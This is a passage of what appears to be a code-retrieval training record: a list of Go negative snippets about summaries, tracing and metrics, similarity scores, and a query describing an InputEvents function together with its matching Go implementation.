{\n\t\t\ta.Runtime.Add(d)\n\t\t}\n\t\tn++\n\t\tstats[ident] = a\n\t}\n\tif n == 0 {\n\t\treturn\n\t}\n\tvar b bytes.Buffer\n\tfmt.Fprintf(&b, \"total n=%d time=%s\\n\", n, round(e.totalTime))\n\tvar tw tabwriter.Writer\n\ttw.Init(newPrefixWriter(&b, \"\\t\"), 4, 4, 1, ' ', 0)\n\tfmt.Fprintln(&tw, \"ident\\tn\\tncache\\truntime(m)\\tcpu\\tmem(GiB)\\tdisk(GiB)\\ttmp(GiB)\\trequested\")\n\tidents := make([]string, 0, len(stats))\n\tfor ident := range stats {\n\t\tidents = append(idents, ident)\n\t}\n\tsort.Strings(idents)\n\tvar warningIdents []string\n\tconst byteScale = 1.0 / (1 << 30)\n\tfor _, ident := range idents {\n\t\tstats := stats[ident]\n\t\tfmt.Fprintf(&tw, \"%s\\t%d\\t%d\", ident, stats.N, stats.Ncache)\n\t\tif stats.CPU.N() > 0 {\n\t\t\tfmt.Fprintf(&tw, \"\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\",\n\t\t\t\tstats.Runtime.Summary(\"%.0f\"),\n\t\t\t\tstats.CPU.Summary(\"%.1f\"),\n\t\t\t\tstats.Memory.SummaryScaled(\"%.1f\", byteScale),\n\t\t\t\tstats.Disk.SummaryScaled(\"%.1f\", byteScale),\n\t\t\t\tstats.Temp.SummaryScaled(\"%.1f\", byteScale),\n\t\t\t\tstats.Requested,\n\t\t\t)\n\t\t\treqMem, minMem := stats.Requested[\"mem\"], float64(minExecMemory)\n\t\t\tif memRatio := stats.Memory.Mean() / reqMem; memRatio <= memSuggestThreshold && reqMem > minMem {\n\t\t\t\twarningIdents = append(warningIdents, ident)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Fprint(&tw, \"\\t\\t\\t\\t\\t\")\n\t\t}\n\t\tfmt.Fprint(&tw, \"\\n\")\n\t}\n\tif len(warningIdents) > 0 {\n\t\tfmt.Fprintf(&tw, \"warning: reduce memory requirements for over-allocating execs: %s\", strings.Join(warningIdents, \", \"))\n\t}\n\ttw.Flush()\n\tlog.Printf(b.String())\n}", "func (l *LiveStats) Summary() string {\n\treturn fmt.Sprintf(\n\t\t\"Top K values (approximate):\\n%s\",\n\t\tl.topKCounter.PrettyTable(\n\t\t\tlen(l.pathGroups),\n\t\t\tl.config.Numeric,\n\t\t\tl.config.SortByName,\n\t\t),\n\t)\n}", "func (scl *SimpleConfigurationLayer) SetSummary(summary *bool) {\n\tscl.Summary = summary\n}", "func (o ApiOperationRequestRepresentationExampleOutput) Summary() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ApiOperationRequestRepresentationExample) *string { return v.Summary }).(pulumi.StringPtrOutput)\n}", "func Summary() string {\n\treturn DefaultRun.Summary()\n}", "func (puo *PostUpdateOne) SetSummary(s string) *PostUpdateOne {\n\tpuo.mutation.SetSummary(s)\n\treturn puo\n}", "func (e *detailedError) NewTrace(skip int) error {\n\tcp := new(detailedError)\n\t*cp = *e\n\tcp.stack = stackTrace(skip + 1)\n\tcp.original = e.Original()\n\treturn cp\n}", "func WithSummary(summary map[int]func(io.Writer, int) (int, error)) Option {\n\treturn option{\n\t\ttable: func(enc *TableEncoder) error {\n\t\t\tenc.summary = summary\n\t\t\tenc.isCustomSummary = true\n\t\t\treturn nil\n\t\t},\n\t\texpanded: func(enc *ExpandedEncoder) error {\n\t\t\tenc.summary = summary\n\t\t\tenc.isCustomSummary = true\n\t\t\treturn nil\n\t\t},\n\t\t// FIXME: all of these should have a summary option as well ...\n\t\tjson: func(enc *JSONEncoder) error {\n\t\t\treturn nil\n\t\t},\n\t\tunaligned: func(enc *UnalignedEncoder) error {\n\t\t\treturn nil\n\t\t},\n\t\ttemplate: func(enc *TemplateEncoder) error {\n\t\t\treturn nil\n\t\t},\n\t}\n}", "func Summary(\n\tt geom.T, hasBoundingBox bool, shape geopb.ShapeType, isGeography bool,\n) (string, error) {\n\treturn summary(t, hasBoundingBox, geopb.SRID(t.SRID()) != geopb.UnknownSRID, shape, isGeography, 0)\n}", "func New(hosts []string) prometheus.Collector {\n\tconst namespace = \"nut\"\n\n\tdescs := map[string]*prometheus.Desc{}\n\tfor k, v := range descriptions {\n\t\tlabels := []string{\"name\", \"model\", \"mfr\", \"serial\", \"type\"}\n\t\tif v.enum != \"\" {\n\t\t\tlabels = append(labels, v.enum)\n\t\t}\n\t\tdescs[k] = prometheus.NewDesc(\n\t\t\tprometheus.BuildFQName(namespace, \"\", v.name),\n\t\t\tv.desc,\n\t\t\tlabels,\n\t\t\tnil,\n\t\t)\n\t}\n\n\treturn &nutCollector{\n\t\thosts: hosts,\n\t\tdescs: descs,\n\t}\n}", "func (h FacebookMessenger) LogSummary(s string) error {\n\treturn nil\n}", "func AddNewTracer(name string) *Tracer {\n\tsrc := NewTracer(name)\n\tif err := gwr.AddGenericDataSource(src); err != nil {\n\t\tpanic(err.Error())\n\t}\n\treturn src\n}", "func New() *Sausage {\n\tAST := AST{}\n\n\treturn &Sausage{\n\t\tTree: &AST,\n\t}\n}", "func (m *ChatMessage) SetSummary(value *string)() {\n m.summary = value\n}", "func NewTracer(description string) *Tracer {\n\treturn &Tracer{Started: time.Now().UTC(), Description: description}\n}", "func (o ApiOperationResponseRepresentationExampleOutput) Summary() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ApiOperationResponseRepresentationExample) *string { return v.Summary }).(pulumi.StringPtrOutput)\n}", "func (t *Task) Summary(out io.Writer) {\n\ts := fmt.Sprintf(\"%-12v\", t.ID)\n\tif t.State <= Blocked {\n\t\ts += fmt.Sprintf(\"%-12v \", t.Due.Format(\"2006-01-02\"))\n\t} else {\n\t\ts += strings.Repeat(\" \", 13)\n\t}\n\n\tif t.State <= Deferred {\n\t\ts += fmt.Sprintf(\"%v \", t.Priority)\n\t} else {\n\t\ts += strings.Repeat(\" \", 4)\n\t}\n\n\ts += fmt.Sprint(t.Status(), t.Description)\n\tfmt.Fprintln(out, s)\n}", "func NewX509CrlSummaryType(revokedCertificates []interface{}, nextUpdate time.Time, issuedBy X509CrlSummaryTypeIssuedBy, thisUpdate time.Time) *X509CrlSummaryType {\n\tthis := X509CrlSummaryType{}\n\tthis.RevokedCertificates = revokedCertificates\n\tthis.NextUpdate = nextUpdate\n\tthis.IssuedBy = issuedBy\n\tthis.ThisUpdate = thisUpdate\n\treturn &this\n}", "func Summary_(children ...HTML) HTML {\n return Summary(nil, children...)\n}", "func NewWindowsInformationProtectionAppLearningSummary()(*WindowsInformationProtectionAppLearningSummary) {\n m := &WindowsInformationProtectionAppLearningSummary{\n Entity: *NewEntity(),\n }\n return m\n}", "func (pu *PostUpdate) SetSummary(s string) *PostUpdate {\n\tpu.mutation.SetSummary(s)\n\treturn pu\n}", "func NewSummaryWithOpts(subsystem, name string, tags []string, help string, opts Options) Summary {\n\t// subsystem is optional\n\tif subsystem != \"\" && !opts.NoDoubleUnderscoreSep {\n\t\t// Prefix metrics with a _, prometheus will add a second _\n\t\t// It will create metrics with a custom separator and\n\t\t// will let us replace it to a dot later in the process.\n\t\tname = fmt.Sprintf(\"_%s\", name)\n\t}\n\n\ts := &promSummary{\n\t\tps: prometheus.NewSummaryVec(\n\t\t\tprometheus.SummaryOpts{\n\t\t\t\tSubsystem: subsystem,\n\t\t\t\tName: name,\n\t\t\t\tHelp: help,\n\t\t\t},\n\t\t\ttags,\n\t\t),\n\t}\n\ttelemetryRegistry.MustRegister(s.ps)\n\treturn s\n}", "func NewTrace(name string) *Trace {\n\treturn &Trace{\n\t\tTraceID: uuid.New(),\n\t\tSpanID: rand.Int63(),\n\t\tSpanName: name,\n\t}\n}", "func NewTrace(err error, skip int) error {\n\tswitch err.(type) {\n\tcase Restackable:\n\t\treturn err.(Restackable).NewTrace(skip + 1)\n\t}\n\treturn &detailedError{\n\t\ts: err.Error(),\n\t\tstack: stackTrace(skip + 1),\n\t}\n}", "func (o ApiOperationTemplateParameterExampleOutput) Summary() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ApiOperationTemplateParameterExample) *string { return v.Summary }).(pulumi.StringPtrOutput)\n}", "func (in *TrialComponentMetricSummary) DeepCopy() *TrialComponentMetricSummary {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TrialComponentMetricSummary)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "func (t *Link) AppendSummaryString(v string) {\n\tt.summary = append(t.summary, &summaryIntermediateType{stringName: &v})\n\n}", "func NewSummaryResponse() *SummaryResponse {\n\tthis := SummaryResponse{}\n\treturn &this\n}", "func NewClusteSummaryEntity() *ClusteSummaryEntity {\n\tthis := ClusteSummaryEntity{}\n\treturn &this\n}", "func NewRoundSummaries() *RoundSummaries {\n\trs := datastore.GetEntityMetadata(\"round_summaries\").Instance().(*RoundSummaries)\n\treturn rs\n}", "func (scl *SimpleConfigurationLayer) SetSummaryFile(summaryFile *string) {\n\tscl.SummaryFile = summaryFile\n}", "func NewDeviceOperatingSystemSummary()(*DeviceOperatingSystemSummary) {\n m := &DeviceOperatingSystemSummary{\n }\n m.backingStore = ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStoreFactoryInstance();\n m.SetAdditionalData(make(map[string]any))\n return m\n}", "func SummaryFile(filename string) Summary {\n\tfile, err := fs.Instance.Open(filename)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\treader := csv.NewReader(file)\n\treader.Comma = '\\t'\n\treader.FieldsPerRecord = -1\n\treader.LazyQuotes = true\n\n\t// Skip header.\n\t_, err = reader.Read()\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\t// Read compartment information.\n\tsummary := make(Summary, 0)\n\tfor {\n\t\tline, err := reader.Read()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tcompartment, compartmentSummary := mapSummaryLine(line)\n\t\tsummary[compartment] = compartmentSummary\n\t}\n\n\treturn summary\n}", "func (cm *customMetrics) ObserveSummary(summary string, observation float64) {\n\n\tcm.summaries[summary].Observe(observation)\n}", "func (t *Tracer) emitNewSpanMetrics(sp *Span, newTrace bool) {\n\tif !sp.context.isSamplingFinalized() {\n\t\tt.metrics.SpansStartedDelayedSampling.Inc(1)\n\t\tif newTrace {\n\t\t\tt.metrics.TracesStartedDelayedSampling.Inc(1)\n\t\t}\n\t\t// joining a trace is not possible, because sampling decision inherited from upstream is final\n\t} else if sp.context.IsSampled() {\n\t\tt.metrics.SpansStartedSampled.Inc(1)\n\t\tif newTrace {\n\t\t\tt.metrics.TracesStartedSampled.Inc(1)\n\t\t} else if sp.firstInProcess {\n\t\t\tt.metrics.TracesJoinedSampled.Inc(1)\n\t\t}\n\t} else {\n\t\tt.metrics.SpansStartedNotSampled.Inc(1)\n\t\tif newTrace {\n\t\t\tt.metrics.TracesStartedNotSampled.Inc(1)\n\t\t} else if sp.firstInProcess {\n\t\t\tt.metrics.TracesJoinedNotSampled.Inc(1)\n\t\t}\n\t}\n}", "func HistogramSummary(scope *Scope, tag tf.Output, values tf.Output) (summary tf.Output) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"HistogramSummary\",\n\t\tInput: []tf.Input{\n\t\t\ttag, values,\n\t\t},\n\t}\n\top := scope.AddOperation(opspec)\n\treturn op.Output(0)\n}", "func newAnalysis(b *Bucket, displayObjectCount int) *Analysis {\n\ta := Analysis{\n\t\tName: b.Name,\n\t\tDisplayObjectCount: displayObjectCount,\n\t\tCreationDate: b.CreationDate,\n\t\tSizePerOwnerID: make(map[string]int64, 0),\n\t\tObjects: make([]string, 0),\n\t}\n\treturn &a\n}", "func (sd *stackediff) ProfilingSummary() {\n\terr := sd.profiletimer.ShowResults()\n\tcheck(err)\n}", "func (o WorkloadStatusConfigStaticOutput) Summary() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v WorkloadStatusConfigStatic) *string { return v.Summary }).(pulumi.StringPtrOutput)\n}", "func Summary(summary string) func(f *Feed) error {\n\treturn func(f *Feed) error {\n\t\tf.Channel.Summary = &ItunesSummary{summary}\n\t\treturn nil\n\t}\n}", "func StatsSummary() *client.StatsSummaryResponse {\n\treturn &client.StatsSummaryResponse{\n\t\tResponse: []client.StatsSummary{\n\t\t\tclient.StatsSummary{\n\t\t\t\tSummaryTime: \"2015-05-14 14:39:47\",\n\t\t\t\tDeliveryService: \"test-ds1\",\n\t\t\t\tStatName: \"test-stat\",\n\t\t\t\tStatValue: \"3.1415\",\n\t\t\t\tCDNName: \"test-cdn\",\n\t\t\t},\n\t\t},\n\t}\n}", "func PrepareTestSummary(w http.ResponseWriter, r *http.Request) {\n\n\t// Read the request body\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"failed to read request: %s\", err),\n\t\t\thttp.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Get arguments from response body\n\targuments := strings.Split(string(body), \" \")\n\tif len(arguments) < 1 {\n\t\thttp.Error(w, fmt.Sprintf(\"error: request has not enough arguments\"),\n\t\t\thttp.StatusInternalServerError)\n\t\treturn\n\t}\n\n\ttestPeer := arguments[0]\n\tlog.Printf(\"PrepareTestSummary from %s: %v\\n\", testPeer, currentTestSummary)\n\n\tfor _, currentTestEval := range currentTestSummary {\n\t\tif currentTestEval.Peer == testPeer {\n\t\t\thttp.Error(w, fmt.Sprintf(\"error: summary of %s already processed\", testPeer),\n\t\t\t\thttp.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t}\n\n\tlog.Printf(\"currentTestResult: \\n%v\\n\", currentTestResult)\n\n\tfmt.Printf(\"GetTestSummary: %s\\n\", string(decodeJsonBytes(body)))\n\n\tfmt.Printf(\"currentTestResult.ID: %s\\n\", currentTestResult.ID)\n\tfmt.Printf(\"currentTestResult.Name: %s\\n\", currentTestResult.Name)\n\n\tfor i, result := range currentTestResult.CommandResults {\n\t\tif result.Peer == testPeer {\n\n\t\t\tcurrentTestEvaluation.ID = currentTestResult.ID\n\t\t\tcurrentTestEvaluation.Name = currentTestResult.Name\n\t\t\tcurrentTestEvaluation.Peer = testPeer\n\t\t\tcurrentTestEvaluation.Kind = \"command\"\n\t\t\tcurrentTestEvaluation.Status = result.Status\n\t\t\tcurrentTestEvaluation.Test = result.Data\n\t\t\tcurrentTestEvaluation.Result = result.Data\n\n\t\t\tcurrentTestSummary = append(currentTestSummary, currentTestEvaluation)\n\n\t\t\tif strings.Split(result.Data, \" \")[0] == \"testfilter\" {\n\n\t\t\t\tsource := strings.Split(result.Data, \" \")[1]\n\t\t\t\tfilter := strings.Join(strings.Split(result.Data, \" \")[3:], \" \")\n\n\t\t\t\tcurrentTestEvaluation.ID = currentTestResult.ID\n\t\t\t\tcurrentTestEvaluation.Name = currentTestResult.Name\n\t\t\t\tcurrentTestEvaluation.Peer = testPeer\n\t\t\t\tcurrentTestEvaluation.Kind = \"event\"\n\t\t\t\tcurrentTestEvaluation.Test = result.Data\n\n\t\t\t\tcurrentTestEvaluation.Status = \"FAILED\"\n\t\t\t\tfor _, eventFilter := range currentTestEventFilters {\n\n\t\t\t\t\tfmt.Printf(\"\\nXXX\\n eventFilter: %v\\n\\n\", eventFilter)\n\n\t\t\t\t\tfmt.Printf(\"NumExpectedEvents %d == NumReceivedEvents %d\\n\",\n\t\t\t\t\t\teventFilter.NumExpectedEvents, eventFilter.NumReceivedEvents)\n\n\t\t\t\t\tfmt.Printf(\"eventFilter.Peer %q == testPeer %q\\n\",\n\t\t\t\t\t\teventFilter.Peer, testPeer)\n\t\t\t\t\tfmt.Printf(\"eventFilter.Source %q == source %q\\n\",\n\t\t\t\t\t\teventFilter.Source, source)\n\t\t\t\t\tfmt.Printf(\"eventFilter.Filter %q == filter %q\\n\",\n\t\t\t\t\t\teventFilter.Filter, filter)\n\n\t\t\t\t\tcurrentTestEvaluation.Comment = fmt.Sprintf(\"NumExpectedEvents: %d, NumReceivedEvents: %d\",\n\t\t\t\t\t\teventFilter.NumExpectedEvents, eventFilter.NumReceivedEvents)\n\n\t\t\t\t\tif eventFilter.Peer == testPeer &&\n\t\t\t\t\t\teventFilter.Source == source &&\n\t\t\t\t\t\teventFilter.Filter == filter &&\n\t\t\t\t\t\teventFilter.NumExpectedEvents == eventFilter.NumReceivedEvents {\n\n\t\t\t\t\t\tcurrentTestEvaluation.Status = \"OK\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcurrentTestEvaluation.Result = result.Data\n\t\t\t\tcurrentTestSummary = append(currentTestSummary, currentTestEvaluation)\n\t\t\t}\n\n\t\t\tfmt.Printf(\"%d result: %s\\n\", i, result)\n\t\t}\n\t}\n\n\tsaveTestJsonData(w)\n\n\t//currentTestRun.ID = \"\"\n\n\t_, err = fmt.Fprintf(w, \"\")\n\tif err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"failed to write response: %s\", err),\n\t\t\thttp.StatusInternalServerError)\n\t}\n}", "func WeighSummary(s *SliceSummary, weight float64) *SliceSummary {\n\t// Deterministic random number generation based on a list because rand.Seed\n\t// is expensive to run\n\ti := 0\n\trandFloat := func() float64 {\n\t\ti++\n\t\treturn randomFloats[i%len(randomFloats)]\n\t}\n\n\tsw := NewSliceSummary()\n\tsw.Entries = make([]Entry, 0, len(s.Entries))\n\n\tgsum := 0\n\tfor _, e := range s.Entries {\n\t\tnewg := probabilisticRound(e.G, weight, randFloat)\n\t\t// if an entry is down to 0 delete it\n\t\tif newg != 0 {\n\t\t\tsw.Entries = append(sw.Entries,\n\t\t\t\tEntry{V: e.V, G: newg, Delta: e.Delta},\n\t\t\t)\n\t\t\tgsum += newg\n\t\t}\n\t}\n\n\tsw.N = gsum\n\treturn sw\n}", "func (c *Client) Summary(ctx context.Context, p *SummaryPayload) (res SummaryClientStream, err error) {\n\tvar ires any\n\tires, err = c.SummaryEndpoint(ctx, p)\n\tif err != nil {\n\t\treturn\n\t}\n\treturn ires.(SummaryClientStream), nil\n}", "func (o DocumentationOutput) Summary() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v Documentation) *string { return v.Summary }).(pulumi.StringPtrOutput)\n}" ]
[ "0.7158956", "0.69201916", "0.6612985", "0.6554421", "0.64981747", "0.6230694", "0.6007244", "0.5971761", "0.5917504", "0.5917504", "0.5913954", "0.56070757", "0.55766994", "0.5560569", "0.55142343", "0.5509913", "0.5428008", "0.5411781", "0.54017174", "0.5389909", "0.5364322", "0.535436", "0.53410053", "0.53120375", "0.5309893", "0.529656", "0.5280139", "0.52035576", "0.5203142", "0.5179405", "0.5173241", "0.51634884", "0.51423985", "0.51213306", "0.5117349", "0.51068664", "0.5105289", "0.5101181", "0.5083939", "0.5054589", "0.50485784", "0.50466573", "0.5029829", "0.50287", "0.5008991", "0.49970704", "0.49921954", "0.49793258", "0.4964909", "0.49535164", "0.49259433", "0.49244475", "0.49095273", "0.49052092", "0.4901908", "0.48697022", "0.4856646", "0.48548427", "0.48315313", "0.4825004", "0.4812473", "0.47948852", "0.4784056", "0.47714868", "0.4748891", "0.47428823", "0.47425807", "0.47378632", "0.47327524", "0.47185963", "0.47150332", "0.47094566", "0.4707199", "0.46993414", "0.46980074", "0.4684057", "0.46679842", "0.46618652", "0.46588928", "0.46585476", "0.4640536", "0.46398932", "0.46342057", "0.46286362", "0.46239236", "0.46217", "0.46181804", "0.46122044", "0.4610344", "0.4601301", "0.45985812", "0.45969242", "0.45891505", "0.45863304", "0.45840007", "0.45777237", "0.45674285", "0.4566212", "0.45646372", "0.45634568" ]
0.752358
0
InputEvents returns a map of input labels to events traced during the execution of a stream pipeline.
func (s *Summary) InputEvents() map[string][]NodeEvent { m := map[string][]NodeEvent{} s.inputEvents.Range(func(key, value any) bool { m[key.(string)] = value.(*events).Extract() return true }) return m }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (e *Engine) EventsInput() chan<- *InEvent {\n\treturn e.inEvents\n}", "func (linux *linuxSystemObject) GetInputEvents() ([]gin.OsEvent, int64) {\n\tvar first_event *C.GlopKeyEvent\n\tcp := (*unsafe.Pointer)(unsafe.Pointer(&first_event))\n\tvar length C.int\n\tvar horizon C.longlong\n\tC.GlopGetInputEvents(cp, unsafe.Pointer(&length), unsafe.Pointer(&horizon))\n\tlinux.horizon = int64(horizon)\n\tc_events := (*[1000]C.GlopKeyEvent)(unsafe.Pointer(first_event))[:length]\n\tevents := make([]gin.OsEvent, length)\n\tfor i := range c_events {\n\t\twx, wy := linux.rawCursorToWindowCoords(int(c_events[i].cursor_x), int(c_events[i].cursor_y))\n\t\tevents[i] = gin.OsEvent{\n\t\t\tKeyId: gin.KeyId(c_events[i].index),\n\t\t\tPress_amt: float64(c_events[i].press_amt),\n\t\t\tTimestamp: int64(c_events[i].timestamp),\n\t\t\tX: wx,\n\t\t\tY: wy,\n\t\t}\n\t}\n\treturn events, linux.horizon\n}", "func (s *Summary) ProcessorEvents() map[string][]NodeEvent {\n\tm := map[string][]NodeEvent{}\n\ts.processorEvents.Range(func(key, value any) bool {\n\t\tm[key.(string)] = value.(*events).Extract()\n\t\treturn true\n\t})\n\treturn m\n}", "func (c *Client) Inputs() (map[int]Input, error) {\n\treq, err := http.NewRequest(http.MethodGet, \"/menu_native/dynamic/tv_settings/devices/name_input\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar resp respInputs\n\tif err = c.do(req, &resp); err != nil {\n\t\treturn nil, err\n\t}\n\n\tinputs := make(map[int]Input, len(resp.Items))\n\tfor _, i := range resp.Items {\n\t\tinputs[i.Hash] = Input{\n\t\t\tDisplayName: i.Value.Name,\n\t\t\tHash: i.Hash,\n\t\t\tName: i.Name,\n\t\t}\n\t}\n\n\treturn inputs, nil\n}", "func Input() *Event {\n\treturn NewEvent(\"input\")\n\n}", "func (u *InputUnifi) Events(filter *poller.Filter) (*poller.Events, error) {\n\tif u.Disable {\n\t\treturn nil, nil\n\t}\n\n\tlogs := []any{}\n\n\tif filter == nil {\n\t\tfilter = &poller.Filter{}\n\t}\n\n\tfor _, c := range u.Controllers {\n\t\tif filter.Path != \"\" && !strings.EqualFold(c.URL, filter.Path) {\n\t\t\tcontinue\n\t\t}\n\n\t\tevents, err := u.collectControllerEvents(c)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlogs = append(logs, events...)\n\t}\n\n\treturn &poller.Events{Logs: logs}, nil\n}", "func (s *Summary) OutputEvents() map[string][]NodeEvent {\n\tm := map[string][]NodeEvent{}\n\ts.outputEvents.Range(func(key, value any) bool {\n\t\tm[key.(string)] = value.(*events).Extract()\n\t\treturn true\n\t})\n\treturn m\n}", "func eventStream(s []string) []event {\n\tvar id int\n\tevents := make([]event, len(s))\n\n\tfor i, l := range s {\n\t\tt, _ := time.Parse(\"2006-01-02 15:04\", l[1:17])\n\t\te := event{ts: t}\n\n\t\tswitch l[19:24] {\n\t\tcase \"Guard\":\n\t\t\te.typ = beginShift\n\t\t\tfmt.Sscanf(l[26:], \"%d\", &id)\n\t\t\te.id = id\n\t\tcase \"falls\":\n\t\t\te.typ = sleep\n\t\t\te.id = id\n\t\tcase \"wakes\":\n\t\t\te.typ = wake\n\t\t\te.id = id\n\t\t}\n\n\t\tevents[i] = e\n\t}\n\n\treturn events\n}", "func eventMapping(info []*haproxy.Stat, r mb.ReporterV2) {\n\tfor _, evt := range info {\n\t\tst := reflect.ValueOf(evt).Elem()\n\t\ttypeOfT := st.Type()\n\t\tsource := map[string]interface{}{}\n\n\t\tfor i := 0; i < st.NumField(); i++ {\n\t\t\tf := st.Field(i)\n\t\t\tsource[typeOfT.Field(i).Name] = f.Interface()\n\t\t}\n\n\t\tfields, _ := schema.Apply(source)\n\t\tevent := mb.Event{\n\t\t\tRootFields: common.MapStr{},\n\t\t}\n\n\t\tif processID, err := fields.GetValue(\"process_id\"); err == nil {\n\t\t\tevent.RootFields.Put(\"process.pid\", processID)\n\t\t\tfields.Delete(\"process_id\")\n\t\t}\n\n\t\tevent.MetricSetFields = fields\n\t\tr.Event(event)\n\t}\n}", "func AvailableEvents() (map[string][]string, error) {\n\tevents := map[string][]string{}\n\t// BUG(hodgesds): this should ideally check mounts for debugfs\n\trawEvents, err := fileToStrings(TracingDir + \"/available_events\")\n\t// Events are colon delimited by type so parse the type and add sub\n\t// events appropriately.\n\tif err != nil {\n\t\treturn events, err\n\t}\n\tfor _, rawEvent := range rawEvents {\n\t\tsplits := strings.Split(rawEvent, \":\")\n\t\tif len(splits) <= 1 {\n\t\t\tcontinue\n\t\t}\n\t\teventTypeEvents, found := events[splits[0]]\n\t\tif found {\n\t\t\tevents[splits[0]] = append(eventTypeEvents, splits[1])\n\t\t\tcontinue\n\t\t}\n\t\tevents[splits[0]] = []string{splits[1]}\n\t}\n\treturn events, err\n}", "func (t *tScreen) collectEventsFromInput(buf *bytes.Buffer, expire bool) []tcell.Event {\r\n\tres := make([]tcell.Event, 0, 20)\r\n\r\n\tt.Lock()\r\n\tdefer t.Unlock()\r\n\r\n\tfor {\r\n\t\tb := buf.Bytes()\r\n\t\tif len(b) == 0 {\r\n\t\t\tbuf.Reset()\r\n\t\t\treturn res\r\n\t\t}\r\n\r\n\t\tpartials := 0\r\n\r\n\t\tif part, comp := t.parseRune(buf, &res); comp {\r\n\t\t\tcontinue\r\n\t\t} else if part {\r\n\t\t\tpartials++\r\n\t\t}\r\n\r\n\t\tif part, comp := t.parseFunctionKey(buf, &res); comp {\r\n\t\t\tcontinue\r\n\t\t} else if part {\r\n\t\t\tpartials++\r\n\t\t}\r\n\r\n\t\t// Only parse mouse records if this term claims to have\r\n\t\t// mouse support\r\n\r\n\t\tif t.ti.Mouse != \"\" {\r\n\t\t\tif part, comp := t.parseXtermMouse(buf, &res); comp {\r\n\t\t\t\tcontinue\r\n\t\t\t} else if part {\r\n\t\t\t\tpartials++\r\n\t\t\t}\r\n\r\n\t\t\tif part, comp := t.parseSgrMouse(buf, &res); comp {\r\n\t\t\t\tcontinue\r\n\t\t\t} else if part {\r\n\t\t\t\tpartials++\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif partials == 0 || expire {\r\n\t\t\tif b[0] == '\\x1b' {\r\n\t\t\t\tif len(b) == 1 {\r\n\t\t\t\t\tres = append(res, tcell.NewEventKey(tcell.KeyEsc, 0, tcell.ModNone))\r\n\t\t\t\t\tt.escaped = false\r\n\t\t\t\t} else {\r\n\t\t\t\t\tt.escaped = true\r\n\t\t\t\t}\r\n\t\t\t\tbuf.ReadByte()\r\n\t\t\t\tcontinue\r\n\t\t\t}\r\n\t\t\t// Nothing was going to match, or we timed out\r\n\t\t\t// waiting for more data -- just deliver the characters\r\n\t\t\t// to the app & let them sort it out. Possibly we\r\n\t\t\t// should only do this for control characters like ESC.\r\n\t\t\tby, _ := buf.ReadByte()\r\n\t\t\tmod := tcell.ModNone\r\n\t\t\tif t.escaped {\r\n\t\t\t\tt.escaped = false\r\n\t\t\t\tmod = tcell.ModAlt\r\n\t\t\t}\r\n\t\t\tres = append(res, tcell.NewEventKey(tcell.KeyRune, rune(by), mod))\r\n\t\t\tcontinue\r\n\t\t}\r\n\r\n\t\t// well we have some partial data, wait until we get\r\n\t\t// some more\r\n\t\tbreak\r\n\t}\r\n\r\n\treturn res\r\n}", "func (r *ProcessorResolver) Inputs(ctx context.Context, processor *model.Processor) ([]*model.ProcessorInput, error) {\n\tresult, err := r.DataLoaders.ProcessorLoader(ctx).InputsByProcessor(processor.ID)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get inputs from loader\")\n\t}\n\treturn result, nil\n}", "func (d *Docker) Events(ctx context.Context, filters map[string]string) (<-chan *types.WorkloadEventMessage, <-chan error) {\n\teventChan := make(chan *types.WorkloadEventMessage)\n\terrChan := make(chan error)\n\n\t_ = utils.Pool.Submit(func() {\n\t\tdefer close(eventChan)\n\t\tdefer close(errChan)\n\n\t\tf := d.getFilterArgs(filters)\n\t\tf.Add(\"type\", events.ContainerEventType)\n\t\toptions := enginetypes.EventsOptions{Filters: f}\n\t\tm, e := d.client.Events(ctx, options)\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase message := <-m:\n\t\t\t\teventChan <- &types.WorkloadEventMessage{\n\t\t\t\t\tID: message.ID,\n\t\t\t\t\tType: message.Type,\n\t\t\t\t\tAction: message.Action,\n\t\t\t\t\tTimeNano: message.TimeNano,\n\t\t\t\t}\n\t\t\tcase err := <-e:\n\t\t\t\terrChan <- err\n\t\t\t\treturn\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t})\n\n\treturn eventChan, errChan\n}", "func (emitter *EventEmitter) EventNames() []string {\n\treturn getListenerMapKeys(emitter.listenerMap)\n}", "func NewInputs(inputsCfg config.Inputs) *Inputs {\n\tinputs := Inputs{\n\t\tRW: *new(sync.RWMutex),\n\t\tMap: make(map[string]Input),\n\t}\n\n\tinputs.RW.Lock()\n\tdefer inputs.RW.Unlock()\n\n\tfor _, in := range inputsCfg {\n\t\tinputs.Map[in.Name] = NewInput(in.IO.Name, in.IO.Type, msgs.Representation(in.IO.Representation), in.IO.Channel, NewDefaultMessage(in.Type, in.Default))\n\t}\n\treturn &inputs\n}", "func (a *Action) InputNames() (names []string) {\n\tnames = []string{}\n\n\tfor k := range a.Input {\n\t\tnames = append(names, k)\n\t}\n\n\tsort.Strings(names)\n\n\treturn names\n}", "func (p *StreamToSubStream) InPorts() map[string]*scipipe.InPort {\n\treturn 